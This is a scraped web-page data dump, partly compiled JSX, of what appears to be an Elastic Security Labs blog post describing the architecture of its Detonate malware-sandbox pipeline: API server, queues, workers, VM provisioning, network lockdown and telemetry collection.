Syscall via Assembly Bytes","href":"#direct-syscall-via-assembly-bytes"},{"level":2,"title":"File","href":"#file"},{"level":3,"title":"Suspicious Microsoft Office Embedded Object","href":"#suspicious-microsoft-office-embedded-object"},{"level":3,"title":"Suspicious File Rename from Unbacked Memory","href":"#suspicious-file-rename-from-unbacked-memory"},{"level":3,"title":"Executable File Dropped by an Unsigned Service DLL","href":"#executable-file-dropped-by-an-unsigned-service-dll"},{"level":2,"title":"Library","href":"#library"},{"level":3,"title":"Unsigned Print Monitor Driver Loaded","href":"#unsigned-print-monitor-driver-loaded"},{"level":3,"title":"Potential Library Load via ROP Gadgets","href":"#potential-library-load-via-rop-gadgets"},{"level":3,"title":"Evasion via LdrpKernel32 Overwrite","href":"#evasion-via-ldrpkernel32-overwrite"},{"level":2,"title":"Suspicious Remote Registry Modification","href":"#suspicious-remote-registry-modification"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Into The Weeds: How We Run Detonate","slug":"into-the-weeds-how-we-run-detonate","date":"2023-06-13","description":"Explore the technical implementation of the Detonate system, including sandbox creation, the supporting technology, telemetry collection, and how to blow stuff up.","image":"photo-edited-02@2x.jpg","subtitle":"A deeper dive into the technical implementations of Detonate","tags":["detonate"],"body":{"raw":"\n## Preamble\n\nIn our [first post](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate) in our Detonate series, we introduced the Detonate system and what we use it for at Elastic. We also discussed the benefits it provides our team when assessing the performance of our security artifacts.\n\nIn this publication, we will break down how Detonate works \u0026 dive deeper into the technical implementation. This includes how we’re able to create this sandboxed environment in practice, the technology that supports the overall pipeline, and how we submit information to and read information from the pipeline.\n\n\u003e Interested in other posts on Detonate? Check out [Part 1 - Click, Click…Boom!](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate) where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing.\n\n## Architecture\n\nBelow is a high-level overview of the Detonate end-to-end architecture.\n\n\n\nThe overall system consists of a series of message queues and Python workers. Detonation tasks are created by an API server upon accepting a request with as little information as the sample file hash. The task then moves from queue to queue, picked up by workers that execute various operations along the way. \nThe server and workers run in a container on [Amazon ECS](https://aws.amazon.com/ecs/). The pipeline can also be brought up locally using [Docker Compose](https://docs.docker.com/compose/) for early development and feature testing.\n\n### API server\n\nThe Detonate API server is a [FastAPI](https://fastapi.tiangolo.com/) python application that accepts a variety of execution target requests: hashes of samples, native commands (in bash or Powershell, with or without arguments), and uploaded files. The server also exposes endpoints for fetching alerts and raw agent telemetry from an Elastic cluster.\n\nThe API documentation is generated [automatically](https://fastapi.tiangolo.com/advanced/extending-openapi/) by FastAPI and incorporated into our global API schema.\n\n\n\n#### Interacting with the API server - CLI\n\nWe built a custom Python CLI (command-line interface) tool for interacting with our Detonate server. The CLI tool is built using the Python library [click](https://click.palletsprojects.com/en/8.1.x/) along with [rich](https://github.com/Textualize/rich) for a beautiful formatting experience in a terminal window. The tool is particularly useful for debugging the pipeline, as it can also be run against a local pipeline setup. The tool is installed and runs using [Poetry](https://python-poetry.org/), our preferred tool of choice for managing dependencies and running scripts.\n\n```\n❯ DETONATE_CLI_API_ROOT_URL=\"${API_ENDPOINT_URL}\" \\\n\tDETONATE_CLI_API_AUTH_HEADER=\"${API_KEY}\" \\\n\tpoetry run cli \\\n\t--hash \"${MY_FILE_HASH}\"\n```\n\n\n\n\n\n#### Interacting with the API server - Web UI\n\nInternally, we host a site called Protections Portal (written using [Elastic UI](https://elastic.github.io/eui/) components) to assist our team with research. For a more interactive experience with the Detonate API, we built a page in the Portal to interact with it. Along with submitting tasks, the Web UI allows users to see the feed of all detonations and the details of each task.\n\n\n\nEach task can be expanded to see its full details. We provide the links to the data and telemetry collected during the detonation.\n\n\n\n#### Interacting with the API server - HTTP client\n\nIf our users want to customize how they interact with the Detonate API, they can also run commands using their HTTP client of choice (such as **curl** , **httpie** , etc.). This allows them to add detonations to scripts or as final steps at the end of their own workflows.\n\n### Queues\n\nThe pipeline is built on a series of queues and workers. Having very basic requirements for the message queues engine, we decided to go with [Amazon SQS](https://aws.amazon.com/sqs/). One of the many benefits of using a popular service like SQS is the availability of open-source resources and libraries we can build upon. For example, we use [softwaremill/elasticmq](https://github.com/softwaremill/elasticmq) Docker images as a queue engine when running the pipeline locally.\n\nThe queues are configured and deployed with Terraform code that covers all our production and staging infrastructure.\n\n### Workers\n\nEach worker is a Python script that acts as both a queue consumer and a queue producer. The workers are implemented in our custom mini-framework, with the boilerplate code for error handling, retries, and monitoring built-in. Our base worker is easily extended, allowing us to add new workers and evolve existing ones if additional requirements arise.\n\nFor monitoring, we use the [Elastic APM](https://www.elastic.co/observability/application-performance-monitoring) observability solution. It is incredibly powerful, giving us a view into the execution flow and making debugging pipeline issues a breeze. Below, we can see a Detonate task move between workers in the APM UI:\n\n\n\nThese software and infrastructure components give us everything we need to perform the submission, execution, and data collection that make up a detonation.\n\n## Detonations\n\n\n\nThe pipeline can execute commands and samples in Windows, Linux, and macOS virtual machines (VMs). For Windows and Linux environments, we use VM instances in [Google Compute Engine](https://cloud.google.com/compute). With the wide selection of public images, it allows us to provision sandboxed environments with different versions of Windows, Debian, Ubuntu, CentOS, and RHEL.\n\nFor macOS environments, we use [mac1.metal instances in AWS](https://aws.amazon.com/ec2/instance-types/mac/) and an on-demand macOS VM provisioning [solution from Veertu called Anka](https://veertu.com/anka-build/). Anka gives us the ability to quickly rotate multiple macOS VMs running on the same macOS bare metal instance.\n\nDetonate is currently focused on the breadth of our OS coverage, scalability, and the collection of contextually relevant data from the pipeline. Fitting sophisticated anti-analysis countermeasures into Detonate is currently being researched and engineered.\n\n### VM provisioning\n\nIn order to keep our footprint in the VM to a minimum, we use startup scripts for provisioning. Minimizing our footprint is important because our activities within a VM are included in the events we collect, making analysis more complicated after a run. For Windows and Linux VMs, [GCP startup scripts](https://cloud.google.com/compute/docs/instances/startup-scripts) written in Powershell and bash are used to configure the system; for macOS VMs, we wrote custom bash and AppleScript scripts.\n\nThe startup scripts perform these steps:\n\n- **Configure the system**. For example, disable MS Defender, enable macros execution in MS Office, disable automatic system updates, etc.\n- **Download and install Elastic agent**. The script verifies that the agent is properly [enrolled into the Fleet Server](https://www.elastic.co/guide/en/fleet/current/fleet-overview.html) and that the policies are applied.\n- **Download and detonate a sample, or execute a set of commands**. The execution happens in a background process, while the main script collects the STDOUT / STDERR datastreams and sleeps for N seconds.\n- **Collect files from the filesystem (if needed) and upload them into the storage**. This allows us to do any additional verification or debugging once the detonation is complete.\n\nThe VM lifecycle is managed by the **start_vm** and **stop_vm** workers. Since we expect some detonations to break the startup script execution flow (e.g., in the case of ransomware), every VM has a TTL set, which allows the **stop_vm** worker to delete VMs not in use anymore.\n\nThis clean-slate approach, with the startup script used to configure everything needed for a detonation, allows us to use VM images from the vendors from Google Cloud public images catalog without any modifications!\n\n### Network configuration\n\nSome of the samples we detonate are malicious and might produce malicious traffic, such as network scans, C2 callouts, etc. In order to keep our cloud resources and our vendor’s infrastructure safe, we limit all outgoing traffic from VMs. The instances are placed in a locked-down VPC that allows outgoing connection only to a predefined list of targets. We restrict traffic flows in VPC using Google Cloud’s [routes](https://cloud.google.com/vpc/docs/routes) and [firewall rules](https://cloud.google.com/firewall/docs/firewalls), and AWS’s [security groups](https://docs.aws.amazon.com/vpc/latest/userguide/security-groups.html).\n\nWe also make use of [VPC Flow Logs](https://cloud.google.com/vpc/docs/flow-logs) in GCE. These logs allow us to see private network traffic initiated by sandbox VMs in our VPC.\n\n### Telemetry collection\n\nTo observe detonations, we use the [Elastic Agent](https://www.elastic.co/elastic-agent) with the [Elastic Defend](https://www.elastic.co/guide/en/security/current/install-endpoint.html) integration installed with all protections in “Detect” (instead of “Protect”) mode. This allows us to collect as much information from a VM as we can, while simultaneously allowing the [Elastic Security](https://www.elastic.co/security) solution to produce alerts and detections.\n\n\n\nWe cover two use cases with this architecture: we can validate protections (comparing events and alerts produced for different OS versions, agent versions, security artifacts deployed, etc) and collect telemetry for analysis (for fresh samples or novel malware) at the same time. All data collected is kept in a persistent Elastic cluster and is available for our researchers.\n\n## Running in production\n\nRecently we completed a full month of running Detonate pipeline in production, under the load of multiple data integrations, serving internal users through UI at the same time. Our record so far is 1034 detonations in a single day, and so far, we haven’t seen any scalability or reliability issues.\n\n\n\nThe bulk of the submissions are Windows-specific samples, for now. We are working on increasing our coverage of Linux and macOS as well – stay tuned for the research blog posts coming soon!\n\n\n\nWe are constantly improving our support for various file types, making sure the detonation is as close to the intended trigger behavior as possible.\n\nLooking at the detonations from the last month, we see that most of the tasks were completed in under 13 minutes (with a median of 515 seconds). This time includes task data preparation, VM provisioning and cleanup, sample execution, and post-detonation processing.\n\n\n\nThese are still early days of the service, so it is normal to see the outliers. Since most of the time in a task is spent waiting for a VM to provision, we can improve the overall execution time by using custom VM images, pre-starting VM instances, and optimizing the startup scripts.\n\n## What's next?\n\nNow that you see how Detonate works, our next posts will dive into more detailed use cases of Detonate. We’ll go further into how these detonations turn into protecting more of our users, including right here at Elastic!\n","code":"var Component=(()=\u003e{var d=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,w=Object.prototype.hasOwnProperty;var g=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),f=(n,e)=\u003e{for(var i in e)s(n,i,{get:e[i],enumerable:!0})},r=(n,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!w.call(n,o)\u0026\u0026o!==i\u0026\u0026s(n,o,{get:()=\u003ee[o],enumerable:!(a=u(e,o))||a.enumerable});return n};var b=(n,e,i)=\u003e(i=n!=null?d(m(n)):{},r(e||!n||!n.__esModule?s(i,\"default\",{value:n,enumerable:!0}):i,n)),v=n=\u003er(s({},\"__esModule\",{value:!0}),n);var c=g((P,l)=\u003e{l.exports=_jsx_runtime});var x={};f(x,{default:()=\u003eT,frontmatter:()=\u003ey});var t=b(c()),y={title:\"Into The Weeds: How We Run Detonate\",slug:\"into-the-weeds-how-we-run-detonate\",date:\"2023-06-13\",subtitle:\"A deeper dive into the technical implementations of Detonate\",description:\"Explore the technical implementation of the Detonate system, including sandbox creation, the supporting technology, telemetry collection, and how to blow stuff up.\",author:[{slug:\"jessica-david\"},{slug:\"sergey-polzunov\"},{slug:\"hez-carty\"}],image:\"photo-edited-02@2x.jpg\",category:[{slug:\"detection-science\"},{slug:\"tools\"},{slug:\"security-research\"}],tags:[\"detonate\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",blockquote:\"blockquote\",img:\"img\",br:\"br\",h3:\"h3\",h4:\"h4\",pre:\"pre\",code:\"code\",strong:\"strong\",ul:\"ul\",li:\"li\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate\",rel:\"nofollow\",children:\"first post\"}),\" in our Detonate series, we introduced the Detonate system and what we use it for at Elastic. We also discussed the benefits it provides our team when assessing the performance of our security artifacts.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this publication, we will break down how Detonate works \u0026 dive deeper into the technical implementation. This includes how we\\u2019re able to create this sandboxed environment in practice, the technology that supports the overall pipeline, and how we submit information to and read information from the pipeline.\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"Interested in other posts on Detonate? Check out \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate\",rel:\"nofollow\",children:\"Part 1 - Click, Click\\u2026Boom!\"}),\" where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"architecture\",children:\"Architecture\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a high-level overview of the Detonate end-to-end architecture.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image8.png\",alt:\"The end-to-end Detonate architecture, including how we send input to the API server, each individual worker \u0026 associated queue, cloud infrastructure details, and our Elastic data stores.\",width:\"1440\",height:\"768\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The overall system consists of a series of message queues and Python workers. Detonation tasks are created by an API server upon accepting a request with as little information as the sample file hash. The task then moves from queue to queue, picked up by workers that execute various operations along the way.\",(0,t.jsx)(e.br,{}),`\n`,\"The server and workers run in a container on \",(0,t.jsx)(e.a,{href:\"https://aws.amazon.com/ecs/\",rel:\"nofollow\",children:\"Amazon ECS\"}),\". The pipeline can also be brought up locally using \",(0,t.jsx)(e.a,{href:\"https://docs.docker.com/compose/\",rel:\"nofollow\",children:\"Docker Compose\"}),\" for early development and feature testing.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"api-server\",children:\"API server\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The Detonate API server is a \",(0,t.jsx)(e.a,{href:\"https://fastapi.tiangolo.com/\",rel:\"nofollow\",children:\"FastAPI\"}),\" python application that accepts a variety of execution target requests: hashes of samples, native commands (in bash or Powershell, with or without arguments), and uploaded files. The server also exposes endpoints for fetching alerts and raw agent telemetry from an Elastic cluster.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The API documentation is generated \",(0,t.jsx)(e.a,{href:\"https://fastapi.tiangolo.com/advanced/extending-openapi/\",rel:\"nofollow\",children:\"automatically\"}),\" by FastAPI and incorporated into our global API schema.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image2.png\",alt:\"The schema includes varies get methods to see information about the running task.\",width:\"1440\",height:\"1081\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"interacting-with-the-api-server---cli\",children:\"Interacting with the API server - CLI\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We built a custom Python CLI (command-line interface) tool for interacting with our Detonate server. The CLI tool is built using the Python library \",(0,t.jsx)(e.a,{href:\"https://click.palletsprojects.com/en/8.1.x/\",rel:\"nofollow\",children:\"click\"}),\" along with \",(0,t.jsx)(e.a,{href:\"https://github.com/Textualize/rich\",rel:\"nofollow\",children:\"rich\"}),\" for a beautiful formatting experience in a terminal window. The tool is particularly useful for debugging the pipeline, as it can also be run against a local pipeline setup. The tool is installed and runs using \",(0,t.jsx)(e.a,{href:\"https://python-poetry.org/\",rel:\"nofollow\",children:\"Poetry\"}),\", our preferred tool of choice for managing dependencies and running scripts.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`\\u276F DETONATE_CLI_API_ROOT_URL=\"\\${API_ENDPOINT_URL}\" \\\\\n\tDETONATE_CLI_API_AUTH_HEADER=\"\\${API_KEY}\" \\\\\n\tpoetry run cli \\\\\n\t--hash \"\\${MY_FILE_HASH}\"\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image5.png\",alt:\"An example of the output from the CLI tool once a hash is submitted. It shows the hash, the task ID, and where along the pipeline the process is as well as the last worker status.\",width:\"1440\",height:\"78\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image13.png\",alt:\"The full output of a Hash detonation in the console. The links include references to run logs, task information, events and alerts in our Elastic clusters, and more.\",width:\"1440\",height:\"903\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"interacting-with-the-api-server---web-ui\",children:\"Interacting with the API server - Web UI\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Internally, we host a site called Protections Portal (written using \",(0,t.jsx)(e.a,{href:\"https://elastic.github.io/eui/\",rel:\"nofollow\",children:\"Elastic UI\"}),\" components) to assist our team with research. For a more interactive experience with the Detonate API, we built a page in the Portal to interact with it. Along with submitting tasks, the Web UI allows users to see the feed of all detonations and the details of each task.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image10.png\",alt:\"The Detonate landing page Protections Portal showing the input field for starting a detonation. Below the input is a task that is currently running.\",width:\"1440\",height:\"871\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Each task can be expanded to see its full details. We provide the links to the data and telemetry collected during the detonation.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image11.png\",alt:\"The UI shows the completed detonation task in the Protections Portal.\",width:\"1440\",height:\"952\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"interacting-with-the-api-server---http-client\",children:\"Interacting with the API server - HTTP client\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If our users want to customize how they interact with the Detonate API, they can also run commands using their HTTP client of choice (such as \",(0,t.jsx)(e.strong,{children:\"curl\"}),\" , \",(0,t.jsx)(e.strong,{children:\"httpie\"}),\" , etc.). This allows them to add detonations to scripts or as final steps at the end of their own workflows.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"queues\",children:\"Queues\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The pipeline is built on a series of queues and workers. Having very basic requirements for the message queues engine, we decided to go with \",(0,t.jsx)(e.a,{href:\"https://aws.amazon.com/sqs/\",rel:\"nofollow\",children:\"Amazon SQS\"}),\". One of the many benefits of using a popular service like SQS is the availability of open-source resources and libraries we can build upon. For example, we use \",(0,t.jsx)(e.a,{href:\"https://github.com/softwaremill/elasticmq\",rel:\"nofollow\",children:\"softwaremill/elasticmq\"}),\" Docker images as a queue engine when running the pipeline locally.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The queues are configured and deployed with Terraform code that covers all our production and staging infrastructure.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"workers\",children:\"Workers\"}),`\n`,(0,t.jsx)(e.p,{children:\"Each worker is a Python script that acts as both a queue consumer and a queue producer. The workers are implemented in our custom mini-framework, with the boilerplate code for error handling, retries, and monitoring built-in. Our base worker is easily extended, allowing us to add new workers and evolve existing ones if additional requirements arise.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For monitoring, we use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/observability/application-performance-monitoring\",rel:\"nofollow\",children:\"Elastic APM\"}),\" observability solution. It is incredibly powerful, giving us a view into the execution flow and making debugging pipeline issues a breeze. Below, we can see a Detonate task move between workers in the APM UI:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image12.png\",alt:\"The Elastic Observability APM tracing page showing the execution flow of a detonation task. We are able to follow the task between each worker \u0026 queue to see where we may have issues or can add improvements.\",width:\"1440\",height:\"1308\"})}),`\n`,(0,t.jsx)(e.p,{children:\"These software and infrastructure components give us everything we need to perform the submission, execution, and data collection that make up a detonation.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"detonations\",children:\"Detonations\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image3.jpg\",alt:\"Caption: by Simon Lee, https://unsplash.com/photos/CKuOXoZ21a8\",width:\"1440\",height:\"1440\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The pipeline can execute commands and samples in Windows, Linux, and macOS virtual machines (VMs). For Windows and Linux environments, we use VM instances in \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/compute\",rel:\"nofollow\",children:\"Google Compute Engine\"}),\". With the wide selection of public images, it allows us to provision sandboxed environments with different versions of Windows, Debian, Ubuntu, CentOS, and RHEL.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For macOS environments, we use \",(0,t.jsx)(e.a,{href:\"https://aws.amazon.com/ec2/instance-types/mac/\",rel:\"nofollow\",children:\"mac1.metal instances in AWS\"}),\" and an on-demand macOS VM provisioning \",(0,t.jsx)(e.a,{href:\"https://veertu.com/anka-build/\",rel:\"nofollow\",children:\"solution from Veertu called Anka\"}),\". Anka gives us the ability to quickly rotate multiple macOS VMs running on the same macOS bare metal instance.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Detonate is currently focused on the breadth of our OS coverage, scalability, and the collection of contextually relevant data from the pipeline. Fitting sophisticated anti-analysis countermeasures into Detonate is currently being researched and engineered.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"vm-provisioning\",children:\"VM provisioning\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In order to keep our footprint in the VM to a minimum, we use startup scripts for provisioning. Minimizing our footprint is important because our activities within a VM are included in the events we collect, making analysis more complicated after a run. For Windows and Linux VMs, \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/compute/docs/instances/startup-scripts\",rel:\"nofollow\",children:\"GCP startup scripts\"}),\" written in Powershell and bash are used to configure the system; for macOS VMs, we wrote custom bash and AppleScript scripts.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The startup scripts perform these steps:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Configure the system\"}),\". For example, disable MS Defender, enable macros execution in MS Office, disable automatic system updates, etc.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Download and install Elastic agent\"}),\". The script verifies that the agent is properly \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/fleet-overview.html\",rel:\"nofollow\",children:\"enrolled into the Fleet Server\"}),\" and that the policies are applied.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Download and detonate a sample, or execute a set of commands\"}),\". The execution happens in a background process, while the main script collects the STDOUT / STDERR datastreams and sleeps for N seconds.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Collect files from the filesystem (if needed) and upload them into the storage\"}),\". This allows us to do any additional verification or debugging once the detonation is complete.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The VM lifecycle is managed by the \",(0,t.jsx)(e.strong,{children:\"start_vm\"}),\" and \",(0,t.jsx)(e.strong,{children:\"stop_vm\"}),\" workers. Since we expect some detonations to break the startup script execution flow (e.g., in the case of ransomware), every VM has a TTL set, which allows the \",(0,t.jsx)(e.strong,{children:\"stop_vm\"}),\" worker to delete VMs not in use anymore.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This clean-slate approach, with the startup script used to configure everything needed for a detonation, allows us to use VM images from the vendors from Google Cloud public images catalog without any modifications!\"}),`\n`,(0,t.jsx)(e.h3,{id:\"network-configuration\",children:\"Network configuration\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Some of the samples we detonate are malicious and might produce malicious traffic, such as network scans, C2 callouts, etc. In order to keep our cloud resources and our vendor\\u2019s infrastructure safe, we limit all outgoing traffic from VMs. The instances are placed in a locked-down VPC that allows outgoing connection only to a predefined list of targets. We restrict traffic flows in VPC using Google Cloud\\u2019s 